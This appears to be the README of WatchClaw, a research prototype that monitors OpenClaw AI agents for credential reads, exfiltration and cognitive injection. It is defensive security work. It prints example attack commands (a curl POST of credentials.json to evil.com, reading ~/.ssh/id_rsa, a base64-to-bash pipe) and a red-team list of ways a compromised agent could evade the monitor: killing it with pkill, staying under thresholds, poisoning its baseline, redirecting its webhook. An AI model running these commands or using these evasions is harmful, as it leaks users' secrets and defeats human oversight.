watchclaw 0.1.1

Behavioral monitoring for OpenClaw AI agents — research prototype

WatchClaw

Behavioral monitoring for OpenClaw AI agents — a research prototype

WatchClaw is an experimental security monitoring tool that observes OpenClaw agent behavior and detects anomalous patterns such as credential access, data exfiltration attempts, and cognitive injection attacks.

Status: Research prototype. Active development paused. See Future Work for the path forward.

---

What Problem Does This Solve?

When you run multiple AI agents (via OpenClaw), you have no visibility into what they're actually doing. An agent that has been compromised via prompt injection could:

• Read sensitive files (~/.ssh/id_rsa, credentials.json, .env)
• Exfiltrate data to external servers
• Overwrite its own identity files (SOUL.md, MEMORY.md) with attacker instructions
• Execute obfuscated shell commands

WatchClaw provides a monitoring layer that detects these behaviors and alerts you in real time.

---

Architecture

OpenClaw JSONL Logs
        ↓
   [ Parser ]          Parses tool calls from raw logs
        ↓              Extracts file paths from exec commands (cat, head, curl...)
   [ Engine ]          Scores each event with 6 signals
        ↓
   [ Taint Tracker ]   Propagates sensitivity across events (exponential decay)
   [ Sequence Detector ] Detects multi-step attack patterns
   [ Anomaly Scorer ]  Combines signals → Decision: NORMAL/NOTICE/ALERT/CRITICAL
        ↓
   [ Alerter ]         Discord webhook, action log, report

Signals

Signal	Description
time_anomaly	Activity during unusual hours vs. per-agent baseline
user_idle	Action while user appears inactive
resource_anomaly	Access to sensitive files/domains (sensitivity score 0–1)
destination_anomaly	Known-bad domains, newly registered domains
taint_flow	Sensitive data read → outgoing request within time window
rate_burst	Abnormally high action rate

Sequence Patterns

Pattern	Trigger
read_then_exfil	Sensitive file read → external web request within 120s
config_then_escalate	Config file write → privileged exec within 60s
external_trigger_chain	External fetch → identity file write (cognitive injection)

---

What It Can Detect

After the v0.1.1 parser fix (exec command path extraction), WatchClaw can reliably detect:

✅ cat ~/.ssh/id_rsa → reclassified as file_read, sensitivity 0.95 → ALERT
✅ curl -X POST https://evil.com -d @credentials.json → reclassified as web_fetch with URL extraction → NOTICE/ALERT
✅ echo '...' | base64 -d | bash → WC-HARD-003 obfuscated command rule
✅ Credential read → external request sequence → taint_flow ALERT
✅ External fetch → SOUL.md/MEMORY.md write → CRITICAL (cognitive injection)
✅ Known-bad domains (evil-exfil.com, pastebin.com) → destination_anomaly = 1.0

---

Fundamental Limitations

These are not bugs — they are architectural constraints that cannot be fixed within this tool.

1. OpenClaw Does Not Log Tool Arguments

This is the most critical limitation.

OpenClaw's JSONL log format records that a tool was called, but not what arguments were passed:

# What OpenClaw logs:
"embedded run tool start: runId=xxx tool=Read toolCallId=yyy"

# What WatchClaw needs:
"tool=Read path=/Users/andy/.ssh/id_rsa"

Impact:

• Read tool: WatchClaw knows a file was read, but not which file
• web_fetch tool: WatchClaw knows an external request was made, but not the URL
• Semantic analysis (is this a sensitive file? is this a malicious domain?) is impossible for native tools
• Sequence detection for Read → web_fetch patterns cannot be semantically evaluated

The exec workaround (v0.1.1): When agents use exec to run shell commands like cat file or curl url, the full command is logged. WatchClaw v0.1.1 parses these commands and extracts file paths/URLs. This covers exec-layer attacks but not native tool usage.

2. Alert-Only, No Blocking

WatchClaw detects after execution. By the time a curl evil.com alert fires, the data has already left. There is no interception capability in this architecture.

3. The Monitor Can Be Killed

WatchClaw runs as a separate process. A compromised agent can kill it before executing an attack:

pkill -f watchclaw
openclaw plugins disable watchclaw   # if implemented as plugin

4. Open-Source Rules = Attacker's Bypass Guide

WatchClaw's detection rules are public. A determined attacker can test variants offline and find patterns that score below the alert threshold. Less common interpreters (perl, ruby, node -e, tclsh, awk BEGIN) may not be recognized.

5. Baseline Poisoning

During the learning period, an attacker can gradually introduce malicious behavior until WatchClaw normalizes it into the baseline.

---

External Attack Test Results

We conducted real external attack tests against a live WatchClaw instance:

Test: Two-step sequence (USER.md read → webhook.site request)

20:55:19  file_read  target="read"      score=0.20  NORMAL
20:56:17  web_fetch  target="web_fetch" score=0.28  NORMAL

Result: Not detected. Both events showed generic targets ("read", "web_fetch") without paths or URLs. Sequence detection had no semantic content to evaluate.

Test: Injected exec attack with proper UUID session (post v0.1.1 fix)

file_read  credentials.json  resource_anomaly=1.00  score=0.25  NORMAL
file_read  id_rsa            resource_anomaly=1.00  score=0.26  NORMAL
web_fetch  evil-exfil.com    destination_anomaly=1.00 taint_flow=0.88  score=0.38  NOTICE

Result: Partial detection. Credential reads flagged internally but below ALERT threshold in isolation. External request reached NOTICE with correct taint propagation.

---

Defense-in-Depth Positioning

Based on OWASP Gen AI Security Project and current research, no single technique can 100% prevent prompt injection. The recommended approach is Defense-in-Depth across multiple layers.

WatchClaw occupies Layer 3 (Output Behavior Monitoring):

Layer 1: Architecture & Permission Control
  └─ Least privilege, sandboxing, HITL for dangerous operations
     → NOT WatchClaw's domain. Configure in OpenClaw.

Layer 2: Input & Prompt Engineering
  └─ Spotlighting/delimiters, post-prompting
     → OpenClaw already wraps web content in EXTERNAL_UNTRUSTED_CONTENT tags.
     → NOT WatchClaw's domain.

Layer 3: Model & Guardrail Layer
  └─ Input classifiers, output behavior monitoring
     → WatchClaw monitors tool-call behavior (output side)
     → Provides signals for Human-in-the-Loop review

WatchClaw is a partial, behavioral approximation of Origin Tracing — instead of tracing which prompt instruction triggered a tool call (true Origin Tracing requires LLM prompt access), WatchClaw traces data flow: did a sensitive file read precede an external request?

---

The Right Architecture: Route B (Not Implemented)

Through building this tool, we identified the correct implementation path.

The Problem with Log-Based Monitoring

Log-based monitoring (Route A, current implementation) is fundamentally limited because the logs don't contain the information needed for semantic analysis.

The Solution: OpenClaw Plugin with before_tool_call Hook

OpenClaw exposes a before_tool_call plugin hook (verified from source, plugin-sdk/plugins/types.d.ts):

// Plugin receives FULL parameters before tool execution
api.registerHook("before_tool_call", async (event, ctx) => {
    // event.toolName: "Read", "web_fetch", "exec", etc.
    // event.params:
    //   Read      → { path: string }
    //   web_fetch → { url: string }
    //   exec      → { command: string }
    //   Write     → { path: string, content: string }
    //   Edit      → { path: string, old_string: string, new_string: string }
    // ctx.agentId: which agent called the tool

    await watchclaw.analyze(event, ctx);  // full semantic analysis

    return undefined;  // Zeek mode: never block, pure monitoring
});

This is Zeek, not Suricata — full visibility, zero interference.

What this unlocks:

Capability	Route A (current)	Route B (plugin)
Read file path	❌	✅ params.path
web_fetch URL	❌	✅ params.url
Semantic taint	❌	✅ Full
Sequence detection	Partial	✅ Full
Overhead	Log polling	In-process hook
Blocking capability	❌	Optional

Honest security note: A plugin running with before_tool_call access sees all tool parameters across all agents, including file contents via after_tool_call. This makes the plugin itself a high-value target. Anyone building Route B must treat the plugin as trusted code with full read access to agent operations, and ensure the plugin does not persist raw tool results to disk.

Red Team Analysis of WatchClaw Itself

If you're building on this, plan for these attacks against the monitor:

1. Kill the monitor before attacking — pkill -f watchclaw; the process has no self-protection
2. Study open-source rules, craft sub-threshold attacks — score calibration is public
3. Use WatchClaw's logs as exfiltration — if after_tool_call results are logged, the log file contains all sensitive data ever read by any agent
4. Alert fatigue — flood with low-severity events to bury real alerts
5. Redirect alert webhook — exec command changes Discord webhook URL to attacker-controlled endpoint
6. Baseline poisoning — gradually normalize malicious behavior during the learning window
7. Living-off-the-land — git push, scp, rsync look like legitimate operations

---

Future Work

The code in this repository (exec parsing, taint tracking, sequence detection, 307 tests) is a working foundation. The path forward:

Near-term (Route B migration)

• Rewrite as an OpenClaw plugin in TypeScript
• Register before_tool_call hook for full parameter visibility
• Keep Python analysis logic as a local sidecar service (HTTP/IPC)
• Log metadata only — never persist raw file contents or response bodies

Medium-term

• Contribute tool argument logging to OpenClaw upstream (sanitized: file paths yes, file contents no; URL domain yes, query params with tokens no)
• Per-agent policy profiles (developer agents tolerate more exec variety)
• True Origin Tracing: correlate LLM context with tool calls (requires prompt access)

Research directions

• Behavioral fingerprinting of compromised agents vs. healthy agents
• Formal threat model for multi-agent OpenClaw deployments
• Evaluation dataset for AI agent security monitoring tools

---

Installation (Current Prototype)

pip install watchclaw
watchclaw start          # starts monitoring ~/.openclaw/logs
watchclaw report         # 24h summary
watchclaw simulate       # test detection with synthetic attack scenarios

Requires: Python 3.11+, OpenClaw logs at /tmp/openclaw/

---

Project Structure

src/watchclaw/
├── parser.py       # OpenClaw JSONL log parser + exec command analysis
├── taint.py        # Sensitivity tracking with exponential decay (half-life 300s)
├── scorer.py       # 6-signal anomaly scoring
├── sequence.py     # Multi-step attack pattern detection
├── engine.py       # Orchestration
├── rules.py        # Hard rules (WC-HARD-003 obfuscation, WC-HARD-004 credential harvest)
├── alerter.py      # Discord webhook + action log
└── cli.py          # start / report / simulate / profile commands
tests/              # 307 tests

---

Contributing

This project is paused but open to contributions. The most impactful contribution would be Route B: the OpenClaw plugin implementation. If you build it, the detection logic here is ready to be called.

Issues and PRs welcome.

---

License

MIT